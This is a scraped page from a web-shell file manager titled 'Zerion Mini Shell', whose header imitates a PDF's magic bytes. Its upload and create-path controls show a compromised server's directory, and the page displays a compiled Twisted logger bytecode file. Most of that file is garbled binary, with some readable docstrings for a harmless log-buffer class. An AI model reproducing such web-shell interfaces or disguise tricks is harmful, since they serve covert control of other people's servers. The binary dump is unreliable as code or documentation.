%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/logger/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/logger/__pycache__/_buffer.cpython-312.pyc

�

Ϫ�f���n�dZddlmZddlmZmZddlmZddlm	Z	m
Z
dZee	�Gd�d	��Zy
)z'
Log observer that maintains a buffer.
�)�deque)�Deque�Optional)�implementer�)�ILogObserver�LogEventic�J�eZdZdZefdeeddfd�Zdeddfd�Z	de
ddfd	�Zy)
�LimitedHistoryLogObservera�
    L{ILogObserver} that stores events in a buffer of a fixed size::

        >>> from twisted.logger import LimitedHistoryLogObserver
        >>> history = LimitedHistoryLogObserver(5)
        >>> for n in range(10): history({'n': n})
        ...
        >>> repeats = []
        >>> history.replayTo(repeats.append)
        >>> len(repeats)
        5
        >>> repeats
        [{'n': 5}, {'n': 6}, {'n': 7}, {'n': 8}, {'n': 9}]
        >>>
    �size�returnNc�&�t|��|_y)zx
        @param size: The maximum number of events to buffer.  If L{None}, the
            buffer is unbounded.
        )�maxlenN)r�_buffer)�selfrs  �8/usr/lib/python3/dist-packages/twisted/logger/_buffer.py�__init__z"LimitedHistoryLogObserver.__init__%s��
).�T�(:����eventc�:�|jj|�y)N)r�append)rrs  r�__call__z"LimitedHistoryLogObserver.__call__,s�������E�"r�
otherObserverc�6�|jD]
}||��y)z�
        Re-play the buffered events to another log observer.

        @param otherObserver: An observer to replay events to.
        N)r)rrrs   r�replayToz"LimitedHistoryLogObserver.replayTo/s���\�\�	!�E��%� �	!r)�__name__�
__module__�__qualname__�__doc__�_DEFAULT_BUFFER_MAXIMUMr�intrr	rrr�rrrrsJ��� .E�;�X�c�]�;��;�#�h�#�4�#�!�l�!�t�!rrN)
r�collectionsr�typingrr�zope.interfacer�_interfacesrr	r rr"rr�<module>r's<��
��"�&�/�#��
�\��"!�"!��"!r

Zerion Mini Shell 1.0